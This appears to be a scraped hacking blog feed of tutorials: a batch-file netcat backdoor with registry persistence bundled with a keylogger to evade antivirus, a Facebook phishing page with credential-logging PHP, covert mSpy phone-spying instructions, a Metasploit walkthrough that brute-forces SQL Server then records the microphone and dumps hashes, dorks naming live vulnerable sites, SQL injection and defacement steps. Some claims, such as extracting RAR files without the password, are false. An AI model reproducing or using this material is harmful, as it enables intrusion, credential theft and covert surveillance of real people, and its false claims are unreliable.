HackErS..AuthORity

HOW TO CRACK WINRAR FILE PASSWORD

noreply@blogger.com (Vvvvvv) — Sat, 10 Jan 2015 19:06:00 +0000

This post will help to extract any password protected RAR File. Actually a computer needs a program which performs extraction, Mostly they don’t have built-in program or already installed version.

Method 1

If it asks for a password don’t get hesitated these programs are easy to find and downloaded for free. WinRAR WinZip & 7-Zip can be downloaded free to extract RAR file.

Links : winRAR . winZIP . 7-Zip

Instructions

These free extraction software’s WinRAR, WinZip & 7-Zip don’t need any registration or crack. Once the software is being downloaded and installed fully ten RUN the program

Browse files through selecting File>>Open , Find that file which you want to extract. You can Extract this file either you do not know the password. Then click “Open” when you found that file that is to be extracted

Click on the “Extract To,” button and select that desired folder which you want to extract the file, then click “Ok.” These extract softwares e.g WinRAR, WinZip and 7-Zip will start extracting RAR-file without confirmation of a password.

Method 2

Second method to remove RAR password with a RAR password remover if you dont have the RAR password to access in.

LINK : RAR password remover

LINK: RAR Password Recovery v1.1 RC17

Instructions

Download and install RAR password Unlocker

Run the program, and then click Open to import your locked RAR file

Select attack type, and then click Start to remove RAR password

This RAR password remover software provides 3 different attack for you to remove RAR password: Brute-force Attack, Brute-force with Mask Attack and Dictionary Attack.

Option 1: Select Brute-force Attack

Brute Force Attack simply tries to guess the password by trying every single combination of characters until the password is found. So it is the most time-consuming method. If you have no idea on your forgotten RAR password, you can select this option and do as follows:

1. Click Recovery in the task bar, and then select Brute-force Attack.
2. Click Start button to remove RAR password.

Option 2: Select Brute-force with Mask Attack

This option is actually a variation from Brute-force Attack, which is more practical to remove the password. With Brute-force with Mask Attack, you can greatly reduce the recovery time by specifying the forgotten password length, characters, etc. If you already know some characters in the password, this attack can be your most suitable choice to do so.

1. Click Recovery in the task bar, and then select Brute-force with mask Attack.
2. Click Brute-force in the task bar, and set password length, character type and others if you remember.
3. Click Start button to remove RAR password.

Option 3: Select Dictionary Attack

Dictionary Attack allows you to remove RAR password according to default dictionary of the program. Besides, you can add your own dictionary to the program in order to shorten the RAR password recovery time.

1. Click Recovery in the task bar, and then select Dictionary Attack.
2. Click Dictionary in the task bar, and make settings for dictionary Attack.
3. Click Start button to remove RAR password.

When you forget RAR password, you can select one of the attack types to help you remove RAR password. The trial version of this RAR password remover can help you remove RAR password within 3 characters. So you can evaluate the RAR password remover before you make your decision.

THANKS FOR CHECKING THIS POST LEAVE A COMMENT IF YOU LIKE IT

FUD CRYPTER MANUALLY BYPASS ANTI-VIRUS

noreply@blogger.com (Vvvvvv) — Sat, 10 Jan 2015 19:00:00 +0000

Mohammad Saad Hacks & Tricks

This post is based on how to bypass Anti-Virus by using FUD (Fully Undetectable). There are many Crypters and binders but manually based is the best in the business. In Penetrating tests FUD Crypter is most important part for ethical hackers.Metasploit encoders can also be used to bypass antivirus but in this tutorial it is manually made FUD by using netcat as backdoor.

Rcat is can also be used though it is good replica of Netcat and got less chance to get detected. We use a technique to wrap/bind our Package file with it.

Follow the simple steps.

Step 1:

Below is the Code for Create a batch File. This will edit registry windows add your NetCat in System folder.

@echo off
copy rcat.exe %systemroot%system32rcat.exe
if errorlevel 0 goto regedit
goto error
:regedit
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v nc /d “%systemroot%system32rcat.exe -L -d -p 4444 -t -e cmd.exe”
if errorlevel 0 goto ip
:error
echo something wrong with the program.
goto end
:ip
echo write down the IP address from the table
ipconfig
:end
echo end.
nc -L -p 4444 -t

Step 2:

Now open notepad copy this code in it & save it with name .bat.

Step 3:

Download Rcat latest version. Copy rcat.exe in the same directory where this notepad named .bat exists.

Step 4:

Now we Use WinRAR to combine or BIND there two files (rcat.exe + Notpad).Click on ADD to archive

Step 5:

On the Next window that appear check Create SFX Archive. Go to Advance TAB & click SFX Options. Check out Options as i do

Step 6:

Go to MODES Tab and check on HIDE ALL. Click OK to create a Batch File.

New File will appear at Same Directory. So we have Combined these to files but to make it more we do as follows:

Start Panel >> cmd >> type = iexpress

Click NEXT, Leave it as Default.

Choose Package Title e.g TEST.

Leave as Default until Package FILE appears.

Now ADD those two files i.e 1st (.exe file that we made by above method ) &2nd (your Key-logger file )

iExpress will Combine them to make One File.

Step 7:

After Adding files, INSTALL Program to Launch will appear. On the Install Program select Simple Setup and on the Post Install Program select the Backdoor.

Select HIDDEN on the next window. On Finished message leave as default.

Package Name and Option Give the target path and check hidden file extracting process

Step 8:

On the next Window NO Restart and the Don’t SAVE in the last and Create Package.

Congrats our Package has been created and it has the ability to Bypass most of the Antivirus here is the Report of our created Package.

HOW TO MONITOR MOBILE PHONE REMOTELY – COMPLETE GUIDE

noreply@blogger.com (Vvvvvv) — Sat, 10 Jan 2015 18:52:00 +0000

How To Monitor Mobile Phone:

This post is based on How To Monitor Mobile Phone Remotely, Mspy is basically the best & cheapest Cellphone spyware currently used in market. This review is step by step guide on how to use Mspy to monitor Mobile phones Remotely. mSpy is the latest innovation in monitoring software, It’s functionality works seamlessly across all these platforms. It give’s you much better visibility & control of what’s going on in your home and the lives of people you care about.

What Is a Cellphone Spyware:

Spyware or we can say key-logger is a kinda tracking software which once installed on mobile phone will record all the data e.g sms, calls, mms, emails and other useful information which is then sent to a hacker. Attacker can easily gain access to credential and track location.

Why Mspy:

Mspy is basically most featured Cellphone Spyware which takes full control on victim’s mobile with outstanding functionality.

Following features in Mspy

Listen to incoming and outgoing calls

Skype and WhatsApp tracking

Monitor Internet Activities

Read Chats & Instant message ( Facebook, messenger )

SPY on Calls, Sms & Emails

Track GPS Location

Record Surroundings

Control apps and Program

Multimedia files

Easy To access Remote Control

Completely Undetectable

View Online Logs

Compatible with almost every Smartphones (IOS, Android, Blackberry, Symbian , Windows )

and much more. !!!

Download Link :

You can download Mspy from the following link Download here

Number of months are to be selected, select according to that.

Can I Monitor Multiple Cellphones:

Yes by selecting Business plan from below link, Multiple Mobile Phones can be Monitored Download Mspy Business

How To Install Mspy on Victim’s Phone:

Step 1:

After Purchasing Mspy, You’ll get an E-mail containing password of Controlpanel.

Check out Demo Version : here

Logging in to your Control panel to follow Wizard’s instructions.

Step 2:

Wizard will ask for Selecting Operating System of victim’s mobile.

install the surveillance software on that mobile, It might takes several minutes.

Step 3:

Combination code will be shown by wizard.

Step 4:

Dial the Combination Code you received from Victim’s mobile.

Step 5:

Data captured can be viewed by the software online.

Step 6:

If settings are fully configured then you’ll start receiving logs in few minutes.

Congratulations! Target Phone has been Hacked and every single activity is now being monitored.

No Anti-Virus is capable to detect mSpy software. It’s main popularity reason is it’s undetectability. Once it is installed on Victim’s mobile then it cant be detected.

TOP 14 TOOLS THAT ETHICAL HACKER MUST HAVE !!!

noreply@blogger.com (Vvvvvv) — Sat, 10 Jan 2015 18:39:00 +0000

Here is the List of tools that ethical HACKER must have a range of systems. These tools are basically to reveal information which further results in a specific attacks on a given system. To locate weaknesses or error in a target system to gain as muchas information as possible about that network.

These tools Contains vulnerability scanning, real exploits, Denial of Service, buffer overflow attacks and a wide range of networking integrated advanced utilities to perform such tests.

Tools that ethical HACKER must have :

1 – Nmap:

Nmap is used to scan addresses (IPV6 included), This tool is developed to gather a massive amount of information about the victim. It can scan open ports and much more.

This tool includes various scanning techniques e.g TCP connect(), UDP, TCP SYN (half open), Null scan, ACK sweep, Xmas Tree, FIN, ICMP (ping sweep), ftp proxy (bounce attack), TCP SYN (half open), IP Protocol, ICMP (ping sweep) and SYN sweep.

2 – Wireshark:

This is very powerful tool for analysis and network troubleshooting. Wireshark is capable to view data from Live networking. It support media formats and hundreds of protocols. It is also used for development and education. Most Unix vendors and Linux supply their own Wireshark packages.

3 – Cain & Able:

This tool is proven it’s self revolutionary in cyber mafia. It is capable of cracking passwords, several password retrieval jobs, routing/analyzing protocols and sniffing networks. Unlikly most of the tools it is just windows-only and is a twist to forensic tools & modern penetration testing.

4 – MetaSploit:

MetaSploit is powerful network analysis and security tool. It is mostly used for penetration attacks because of it’s easily gathering information of victim and clean-interfacing technique.

5 – Ettercap:

It is used for Man in the middle attack (MITM), these attacks are on Local area networks. It sniffs live connections & also got content filtering techniques. It has many features of host analysis and networking while it supports both active and passive dissections of various protocols.

6 – Nessus:

This Tool provides vulnerability analysis of networks, asset profiling, high-speed data discovery and configuration auditing.

7 – Havij:

Havij is most used testing tool for SQL injection and many other injections. It has features of database retrieval, site’s scanning, password cracking and admin look-up. Basic purpose of it is to find vulnerable websites and breeze to hack.

8 – Kismet:

Kismet is 802.11 layer2 sniffer, wireless network detector and intrusion detection system. It supports every wireless card and can work with any appropriate hardware on raw monitoring (rfmon) mode. Kismet supports plugin that can sniff media such as DECT. It can sniff 802.11a, 802.11n, 802.11b, sniff802.11g and traffic.

9 – BackTrack Linux:

Backtrack is most popular and widely used tool bootable on CD of Linux Distro. It has got a large variety of penetration testing tools, VOIP networks, network attacks and many more testing/attacking of websites and systems. This tool is most user friendly because of its helpful and useful layout.

10 – W3af:

W3af also known as web-focused Metasploit is an extremely flexible, popular, powerful & framework for finding vulnerabilities in exploiting web application. It’s vast features got dozens of exploitation and web assessment plugins.

11 – Encase:

EnCase is computer forensics software mostly used by law enforcement agencies. Because of it’s vast usage and popularity it is forensics in a a de-facto standard. This tool is being made to gather data from a computer in a forensically sound manner.

12 – Helix:

Helix is bootable Ubuntu CD which contains multiple tools involving file systems, images, cellphones, computers & tied in to sheer power, it is very user friendly.

13 – Acunetix:

Acunetix is Strong tool in website security purpose. It has variety of features for testing a website for various injections. Acunetix WVS basically checks the vulnerabilities of website, either XSS, SQL or other Injection are possible or not.

14 – Burp Suite:

This tool is designed for performing testing regarding security of web applications. It is an integrated platform and got various tools working togather to make a complete testing process. This tools is also used for exploiting security vulnerabilities & analysis of application attack surface from initial mapping.

The Penetration Test Process

Discovery: The process Penetration tests is a Discovery in variety of techniques e.g scan utilities, databases, Google data & much more to get as much information about the target as possible. These discoveries are basically to reveal sensitive information which further results in a specific attacks on a given system.

Enumeration: After discovery of systems and specific networks the next step is to gain as much as information as possible about that network. The diffrence b/w Discovery & Enumeration depends upon state of intrusion. Enumeration task is to get reletive information about username while software and hardware version information are also obtained form it.

Vulnerability Identification: This is most important step in penetration testing. In vulnerability identification you have to locate the week spot of target system. To locate weaknesses or error in a target system is must needed because after that you will get to know where to launch an attack.

Exploitation and Launching of Attacks: After vulnerability has been located and you have identified the target’s weekspot now it is possible to launch the exploits. The main purpose of launching exploits is to get full access on victims’s system.

Denial of Service: This term is known as dDos (Denial of Service). This is used to check the stability of the systems either it is crashed or not. It is good habit to check the strenght or stability of a system, before the real environment attack is being made.

Reporting: This is just for educational purpose. Now after you have completed penetration test it is recomended to get user customized for technical overview, This includes detailed recommendations, executive summary, identified vulnerabilities & other security ID numbers. These reports may be in various forms i.e pdf, html, xml etc. while every report must be modified by user’s choice.

Tinymce PHP file Manager, Remote File upload vulnrablity

noreply@blogger.com (Vvvvvv) — Tue, 30 Dec 2014 18:45:00 +0000

Title :Tinymce PHP file Manager, Remote File upload vulnrablity   server : Linux
Author: NoentryPHC
Type : webapp Exploit
Hamr : remote shell upload
Dork : inurl:/file_manager.php?type=img..

Goto google.com and type dork inurl:/file_manager.php?type=img & inurl:/file_manager.php?type=file to FinD vulnrable websites, to get more sites you can modify this dork, Exploit Patch : http://www.site.com/directory/tinymce/file_manager.php?type=file so Goto http://www.site.com/directory/tinymce/file_manager.php?type=file and upload your file there, if php & html uploading is denided, you can try Tamper Data and Live Http Headers

Live demo : http://piter-ka.ru/media/tinymce/file_manager.php?type=file http://www.oki-iroda.hu/72h2010/tinymce/jscripts/file_manager.php?type=img

How to change the administrator password without knowing the current one?

noreply@blogger.com (Vvvvvv) — Sun, 19 Jan 2014 02:44:00 +0000

How to change the administrator password without knowing the current one?

METHOD 1.

1. GO TO CONTROL PANEL

2. CLICK ON " ANDMINISTRATIVE TOOLS"

3. NOW CLICK ON " COMPUTER MANAGEMENT "

OR

siMPLY RIGHT click on my computer and click on manage

4. NOW GO TO SYSTEM TOOLS

5. DOUBLE CLICK ON LACAL USERS AND GROUPS

6. THEN FINALLY UNDER USERS U WILL SEE ALL THE USER ACCOUNTS INCLUDING ADMIN ACCOUNT.

7. NOW RIGHT CLICK ON ADMINISTRATOR AND CLICK SET PASSWO

8. IT Wont ask YOu for the previous password

THATS IT we aRE DONE .... ENJOY

METHOD 2.

1 . Press R by holding windows button

or

or simply open run

2. AFTER OPENNING TYPE THIS

"lusrmgr.msc"

2. Click right and double Click on user and u will see all users present in that pc .!!

4.Now right click on the account on which you want to change the password .when you click on set password then it will permission click on proceed and u r done

How to Hack Databases: Cracking SQL Server Passwords & Owning the Server

noreply@blogger.com (Vvvvvv) — Sat, 18 Jan 2014 16:24:00 +0000

How to Hack Databases: Cracking SQL Server Passwords
& Owning the Server

In this tutorial, we'll look at how we can crack the password
on the system admin (sa) account on the database, install a meterpreter payload through calling the stored procedure xp_cmdshell, and wreak havoc on their system.

Step 1: Start Metasploit

First, we need to start Metasploit. Once we have the
metasploit command prompt, we need to define which
module we want to use.
In past Metasploit tutorials, we've always used exploits,
but this one is a bit different. Instead, we will use a
scanner among the auxiliary modules that enables us
to brute force
the sa password. Let's load up mssql_login:

use scanner/mssql/mssql_login

As you can see, Metasploit responds by telling us we have successfully loaded this auxiliary

module. Now let's take a look at the options with this module.

show options

Step 2: Set Your Options

In order to run this MS SQL login module, we will need:

A password file,
Set the RHOSTS, and
Determine the number of THREADS we want to run.

BackTrack has a wordlist specially built for MS SQL password hacking with over 57,000 c

ommonly used SQL passwords at /pentest/exploits/fasttrack/bin/wordlist.txt. In this case,

our target is at 192.168.1.103, and we will set our THREADS to 20.

Step 3: Brute Force the Database Passwords

Now, we simply need to type exploit and it runs through password list until it finds the password

for the sa account.

exploit

As you can see, after testing over 57,000 passwords (it takes a few minutes, so be patient),

it found the password on our sa account of "NullByte". Success! Now we have full sysadmin

privileges on the database that we can hopefully convert to full system sysadmin privileges.

Step 4: Grab the xp__cmdshell

Now that we have full sysadmin (sa) on the MS SQL database, we are going to leverage that

to full system sysadmin privileges. MS SQL Server has a stored procedure named xp_cmdshell t

hat enables the sa account to gain a system command shell with full system admin rights. If we can i

nvoke that command shell, we may be able to load the payload of our choice on the system and

own that system.
Metasploit has a exploit module named windows/mssql/mssqlpayload that attempts to do this.

Let's load it.

use windows/mssql/mssql_payload

Now, let's check the options for this exploit:

show options

In this case, we will try to load the meterpreter on this system, so let's:

set PAYLOAD windows/meterpreter/reverse_tcp

In addition, we need to set the LPORT, the LHOST, the RHOST and the password we

recovered from the sa account from above, in this case, "NullByte".

Now, simply type exploit and if all is right with the world, we should get a meterpreter prompt.

Success! We have a meterpreter session!

Step 5: Wreak Havoc!

Now that we have the meterpreter on this system thanks to the xp_cmdshell stored procedure,

we can begin to wreak havoc on this system. Take a look at my list of meterpreter scripts and let's

try a few.

First, let's turn on the microphone and listen in on the conversations of the sysadmin and anyone

else in the room. Think of it as installing a bug in the room from the old James Bond 007 movies.

meterpreter > run sound_recorder -i 100 -l /etc

This will grab 100 segments of audio of 30 seconds, or about 50 minutes, and save it in the /etc

directory. Of course, we can record as much audio as we want. We are only limited by hard drive

space.

Step 6: Grab the Hash

Now, let's grab some passwords so that we can log back back in whenever we please. Remember,
once we have the admin password, we can login any time with Metasploit's psexec exploit.

meterpreter > hashdump

As you can see, we were able to grab the password hashes from the system
.

We then need to either crack the hashes using John the Ripper,

FEEL FREE TO COMMENT<LIKE< ASK QUESTIONS.....

How to Crack User Passwords in a Linux System

noreply@blogger.com (Vvvvvv) — Sat, 18 Jan 2014 16:22:00 +0000

How to Crack User Passwords in a Linux System

In this article, we'll look at how to grab the password hashes from a Linux system and
crack the hashes using probably the most widely used password cracking tool out there,
John the Ripper.

Let's boot up BackTrack and get hacking!

Where Linux Passwords Are Stored

Linux passwords are stored in the /etc/passwd file in cleartext in older systems and in

/etc/shadow file in hash form on newer systems. We should expect that the passwords on

anything other than old legacy systems to be stored in /etc/shadow.

Step 1: Create Some User Accounts

Since our BackTrack system probably doesn't have many users on it other than our root

account, let's go ahead and create a couple more accounts.
Let's create user1 with password "flower" and user2 with a password of "hacker".

I've purposely chosen dictionary words as the complexity of the password is inversely related

to the time necessary to crack it. One of the nice features of John the Ripper is that it will try to

use a dictionary attack first. If that fails, it will try a hybrid attack. And only if that fails will it

attempt a brute-force attack, which is the most time consuming.

Step 2: Open John the Ripper

Now that we have a couple of regular users in our system with simple passwords, we now need

to open John the Ripper. John the Ripper is a simple, but powerful password cracker without a

GUI (this helps to make it faster as GUIs consume resources).

We can access it from BackTrack by going to the BackTrack button on the bottom left, then

Backtrack, Privilege Escalation, Password Attacks, Offline Attacks, and finally select

John the Ripper from the multiple password cracking tools available.

If you selected the correct menu item, it will open a terminal that looks like this.

By the way, feel free to close our previous terminal as we're finished with it.

Step 3: Test John the Ripper

At the prompt, type:

bt > john -test

This command will send John the Ripper through a variety of benchmark tests to estimate how

long it will take to break the passwords on your system. Your terminal will look something like this.

Now that John has estimated how long each of the encryption schemes will take to crack, let's

put him to work on cracking our passwords.

Step 4: Copy the Password Files to Our Current Directory

Linux stores its passwords in /etc/shadow, so what we want to do is copy this file to our

current directory along with the /etc/passwd file, then "unshadow" them and store them in

file we'll call passwords. So, let's type both:

bt > cp /etc/shadow ./

bt > cp /etc/passwd ./

In Linux, the cp command means copy and the ./ represents our current directory. So this

command says, copy the contents of /etc/shadow to my current directory. We do the same for

the /etc/ passwd file.

Step 5: Unshadow

Next we need to combine the information in the /etc/shadow and the /etc/passwd files, so that

John can do its magic.

bt > ./unshadow passwd shadow > passwords

Step 6: Crack!

Now that we have unshadowed the critical files, we can simply let John run on our password file.

bt > john passwords

John the Ripper will proceed to attempt to crack your passwords. As you can see, it cracked

all three of ours in a matter of seconds! Of course, more complex passwords will take significantly
more time, but all we need is just one user with a simple password and we have access to the
account in seconds.

It's also important to note that any password cracker is only as good as its word list. For more c

omplex or hybrid passwords, you probably want to use a password list containing far more
passwords, including hybrid passwords such "p@$$w0rd" that combine special characters into
words.

We'll be doing more password cracking among numerous other hacks, so keep coming back!
And if you have any questions, feel free to comment below

The Ultimate List of Hacking Scripts for Metasploit's Meterpreter

noreply@blogger.com (Vvvvvv) — Sat, 18 Jan 2014 16:16:00 +0000

Please note that new meterpreter scripts are being developed every day. This list attempts to provide you with a complete list of scripts as of this writing. If you find errors or typos, please feel free to post them here, so I will try correct them as soon as humanly possible.

Script Commands with Brief Descriptions

arp_scanner.rb - Script for performing an ARP's Scan Discovery.
autoroute.rb - Meterpreter session without having to background the current session.
checkvm.rb - Script for detecting if target host is a virtual machine.
credcollect.rb - Script to harvest credentials found on the host and store them in the database.
domain_list_gen.rb - Script for extracting domain admin account list for use.
dumplinks.rb - Dumplinks parses .lnk files from a user's recent documents folder and Microsoft Office's Recent documents folder, if present. The .lnk files contain time stamps, file locations, including share names, volume serial #s and more. This info may help you target additional systems.
duplicate.rb - Uses a meterpreter session to spawn a new meterpreter session in a different process. A new process allows the session to take "risky" actions that might get the process killed by A/V, giving a meterpreter session to another controller, or start a keylogger on another process.
enum_chrome.rb - Script to extract data from a chrome installation.
enum_firefox.rb - Script for extracting data from Firefox. enum_logged_on_users.rb - Script for enumerating current logged users and users that have logged in to the system. enum_powershell_env.rb - Enumerates PowerShell and WSH configurations.
enum_putty.rb - Enumerates Putty connections.
enum_shares.rb - Script for Enumerating shares offered and history of mounted shares.
enum_vmware.rb - Enumerates VMware configurations for VMware products.
event_manager.rb - Show information about Event Logs on the target system and their configuration.
file_collector.rb - Script for searching and downloading files that match a specific pattern.
get_application_list.rb - Script for extracting a list of installed applications and their version.
getcountermeasure.rb - Script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. Provides also the option to kill the processes of detected products and disable the built-in firewall.
get_env.rb - Script for extracting a list of all System and User environment variables.
getfilezillacreds.rb - Script for extracting servers and credentials from Filezilla.
getgui.rb - Script to enable Windows RDP.
get_local_subnets.rb - Get a list of local subnets based on the host's routes.
get_pidgen_creds.rb - Script for extracting configured services with username and passwords.
gettelnet.rb - Checks to see whether telnet is installed.
get_valid_community.rb - Gets a valid community string from SNMP.
getvncpw.rb - Gets the VNC password.
hashdump.rb - Grabs password hashes from the SAM.
hostedit.rb - Script for adding entries in to the Windows Hosts file.
keylogrecorder.rb - Script for running keylogger and saving all the keystrokes.
killav.rb - Terminates nearly every antivirus software on victim.
metsvc.rb - Delete one meterpreter service and start another.
migrate - Moves the meterpreter service to another process.
multicommand.rb - Script for running multiple commands on Windows 2003, Windows Vistaand Windows XP and Windows 2008 targets.
multi_console_command.rb - Script for running multiple console commands on a meterpreter session.
multi_meter_inject.rb - Script for injecting a reverce tcp Meterpreter Payload into memory of multiple PIDs, if none is provided a notepad process will be created and a Meterpreter Payload will be injected in to each.
multiscript.rb - Script for running multiple scripts on a Meterpreter session.
netenum.rb - Script for ping sweeps on Windows 2003, Windows Vista, Windows 2008 and Windows XP targets using native Windows commands.
packetrecorder.rb - Script for capturing packets in to a PCAP file.
panda2007pavsrv51.rb - This module exploits a privilege escalation vulnerability in Panda Antivirus 2007. Due to insecure permission issues, a local attacker can gain elevated privileges.
persistence.rb - Script for creating a persistent backdoor on a target host.
pml_driver_config.rb - Exploits a privilege escalation vulnerability in Hewlett-Packard's PML Driver HPZ12. Due to an insecure SERVICE_CHANGE_CONFIG DACL permission, a local attacker can gain elevated privileges.
powerdump.rb - Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry keys. This script requires you to be running as system in order to work properly. This has currently been tested on Server 2008 and Windows 7, which installs PowerShell by default.
prefetchtool.rb - Script for extracting information from windows prefetch folder.
process_memdump.rb - Script is based on the paper Neurosurgery With Meterpreter.
remotewinenum.rb - This script will enumerate windows hosts in the target environment given a username and password or using the credential under which Meterpeter is running using WMI wmic windows native tool.
scheduleme.rb - Script for automating the most common scheduling tasks during a pentest. This script works with Windows XP, Windows 2003, Windows Vista and Windows 2008.
schelevator.rb - Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation. This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
schtasksabuse.rb - Meterpreter script for abusing the scheduler service in Windows by scheduling and running a list of command against one or more targets. Using schtasks command to run them as system. This script works with Windows XP, Windows 2003, Windows Vista and Windows 2008.
scraper.rb - The goal of this script is to obtain system information from a victim through an existing Meterpreter session.
screenspy.rb - This script will open an interactive view of remote hosts. You will need Firefox installed on your machine.
screen_unlock.rb - Script to unlock a windows screen. Needs system privileges to run and known signatures for the target system.
screen_dwld.rb - Script that recursively search and download files matching a given pattern.
service_manager.rb - Script for managing Windows services.
service_permissions_escalate.rb This script attempts to create a service, then searches through a list of existing services to look for insecure file or configuration permissions that will let it replace the executable with a payload. It will then attempt to restart the replaced service to run the payload. If that fails, the next time the service is started (such as on reboot) the attacker will gain elevated privileges.
sound_recorder.rb - Script for recording in intervals the sound capture by a target host microphone.
srt_webdrive_priv.rb - Exploits a privilege escalation vulnerability in South River Technologies WebDrive.
uploadexec.rb - Script to upload executable file to host.
virtualbox_sysenter_dos - Script to DoS Virtual Box.
virusscan_bypass.rb - Script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes.
vnc.rb - Meterpreter script for obtaining a quick VNC session.
webcam.rb - Script to enable and capture images from the host webcam.
win32-sshclient.rb - Script to deploy & run the "plink" commandline ssh-client. Supports only MS-Windows-2k/XP/Vista Hosts.
win32-sshserver.rb - Script to deploy and run OpenSSH on the target machine.
winbf.rb - Function for checking the password policy of current system. This policy may resemble the policy of other servers in the target environment.
winenum.rb - Enumerates Windows system including environment variables, network interfaces, routing, user accounts, etc
wmic.rb - Script for running WMIC commands on Windows 2003, Windows Vista and Windows XP and Windows 2008 targets.

How To Make 404 Pages in Defaced websites by Using shell

noreply@blogger.com (Vvvvvv) — Thu, 16 Jan 2014 16:42:00 +0000

How To Make 404 Pages in Defaced websites by Using shell

What are 404 pages ?

its a page or file which is no longer available on website,

Advantages of 404 pages in website Defacing :

if someone will trying to acess to your shell by guessing like (c99.php, r57.php etc) then it will show your custom page on Not found Link.

in Defaced site usually we upload our deface page as index.html or anyname.html

and we can see our deface page on That custom link only where we uploaded our deface page

like : site.com/index.html, site.com/r00t.html site.com/r00t.php

by adding deface page's code in 404 page you can see your deface page on every link

like site.com/xyz.php site.com/x.html site.com/xyz/,

How to do it ?

1-open Note Pad

2- paste your deface page's code in noatepad

3- save file as 404.shtml

5- now upload this file in public_html/ directory using shell

now check any error link !!

Code for 404 Pages :

JOIN MY SITE TO GET LATEST UPDATE

Get Free Adsence Account in 1 Hour 100% Genuine Trick

noreply@blogger.com (Vvvvvv) — Sat, 05 Oct 2013 17:15:00 +0000

Get Free Adsence Account in 1 Hour 100% Genuine Trick

Method

First Create a Gmail account only and sign in.
Then go to youtube.com and it is automatically sign in through your Gmail account.
Then go to YouTube settings and click on enable on Monetisation setting. by going in to channel settings and then click on Enable Monetisation
then it goes to new page which shows in blue “Enable Monetisation ” and a pop option will show then tick mark on all box then next and click on “got it”
Then again, go to YouTube setting and then view Monetisation setting.
Then see a last 2 question “how I will paid”
Then click on that question and click on “associate an adsense account”
Then opening a next page and click on next or change and then it redirect to log in page, and select “yes to proceed Google sign in “or you can select different Google sign in. then it goes to adsense form and fill up all form.(Please put correct post code, and your house no on 1st address if u have not house no then put fake the you will change after approve)
Then submit application and wait 1 hr and see, your adsense account is approved.

How to make phishing page for Facebook Step By Step

noreply@blogger.com (Vvvvvv) — Thu, 26 Sep 2013 15:27:00 +0000

How to make phishing page for Facebook

1. Go to www.facebook.com/ and right click on an empty place anywhere on main Facebook page and select <View page source>
NOTE: This option may look different if you are using any other browser, Since i am using Google chrome, i get the following view. If you are using Firefox or any other browser, options may vary.

2. You will get the view of source code as following . Just hit <Ctrl + A>to select all code and <Ctrl + C> to copy it.

3. Paste the copied source code in any text editor . (I prefer Windows Notepad because it saves the text as plain).
Go to top of the page and hit <Ctrl + F> and find <action>
(you will probably find it in 5th or 6th line of coding.)

4. Now select the URL address with in quotes (right next to ‘action’) and replace it with <post.php>

Save this file on desktop with name ‘index.html‘ (you can save it with any other name)

Note : After you save a text file with .html extension. Web browser treats this file as a web page.
Congratulations! you have just achieved the hacking level 1 milestone (code junkie) by copying html code from a website successfully.
Now open that file and notice that this page looks like original Facebook page but the address in address bar shows that this page exists on your desktop.

5. Now its time to create the <post.php> file. Yes ! you guessed it right. its the same file we replaced URL with in step 4.
Ya ya, i know you guys are really smart.

Ok, all you have to do is to copy the following code and paste it in a new Notepad window and save it with name <post.php>

<?php
header ('Location:http:/www.facebook.com');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Your ‘post.php’ file is ready

Free Hosting:

110mb http://110mb.com
Ripway http://ripway.com
SuperFreeHost http://superfreehost.info
FreeHostia http://freehostia.com
Freeweb7 http://freeweb7.com
t35 http://t35.com
Awardspace http://awardspace.com
PHPnet http://phpnet.us
free Web Hosting Pro http://freewebhostingpro.com
ProHosts http://prohosts.org
FreeZoka http://www.freezoka.com/
000Webhost http://000webhost.com
ATSpace http://atspace.co

Set up your own Lab for practicing SQL injection and XSS : Ethical Hacking

noreply@blogger.com (Vvvvvv) — Sat, 21 Sep 2013 16:21:00 +0000

I hope you learned about the Sql injection and XSS from BTS. But you may curious to practice
the SQLi and XSS attacks. we know that doing the attack on third-party website is crime. So how
can we do the practice? Here is the solution for you friends. Why shouldn't set up your own web
application ? Yes, you can setup your own Pen Testing lab for practicing the XSS and SQLi
vulnerabilities.

When i surf in the internet, i come to know about the "Damn Vulnerable Web App (DVWA)".
It is one of web application that used for practicing your Ethical hacking/Pen Testing skills in legal
way.

Download this web Application from here:
Download Now

For Installing the this application, you will need XAMPP server.

The installation procedure :

Using this application , you can also practice:

LFI /RFI (File Inclusion methods)
Command Execution
Upload Script
Login Brute Force

if you have any doubts, check their wiki page or comment here.

Hacking website using SQL Injection -step by step guide without tool

noreply@blogger.com (Vvvvvv) — Sat, 21 Sep 2013 16:19:00 +0000

What a hacker can do with SQL Injection attack?

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the MY SQL SERVER

So, here we go.

Step 1: Finding Vulnerable Website
To find vulnerability in any site you can use Google Dorks
Examples:---
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

Here is a huge list of Google Dorks Click here to See it

after getting google dorks copy and paste the dork in google u will see lots of sites. open these
sites one by to check for vulnerability

Note
if you like to hack particular website,then try this:
site:www.victimsite.com dork_list_commands
for eg:

site:www.victimsite.com inurl:index.php?id=

Step 2. Checking The Vulnerability

To check vulnerability in any site simply put ' at the end of the url
like this
www.du.ac.in/index.php?id=4‎'

If u Got any error just like this then the site vulnerable

You have an error in your SQL syntax; check the manual that corresponds to your MYSQl server version for the right syntax to use near '\'' at line 1

Step 3: Finding Number of columns:
Our next step is to find the number of columns present in the target database.

For that replace the single quotes(') with "order by n" statement.

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

For eg

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2

If you get the error while trying the "x"th number,then no of column is "x-1".

I mean:
http://www.victimsite.com/index.php?id=2 order by 1(noerror)
http://www.victimsite.com/index.php?id=2 order by 2(noerror)
http://www.victimsite.com/index.php?id=2 order by 3(noerror)
http://www.victimsite.com/index.php?id=2 order by 4(noerror)

so now x=8 , The number of column is x-1 i.e, 7.

In case ,if the above method fails to work for you, then try to add the "--" at the end of the statement.
For eg:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4: Find the Vulnerable columns:
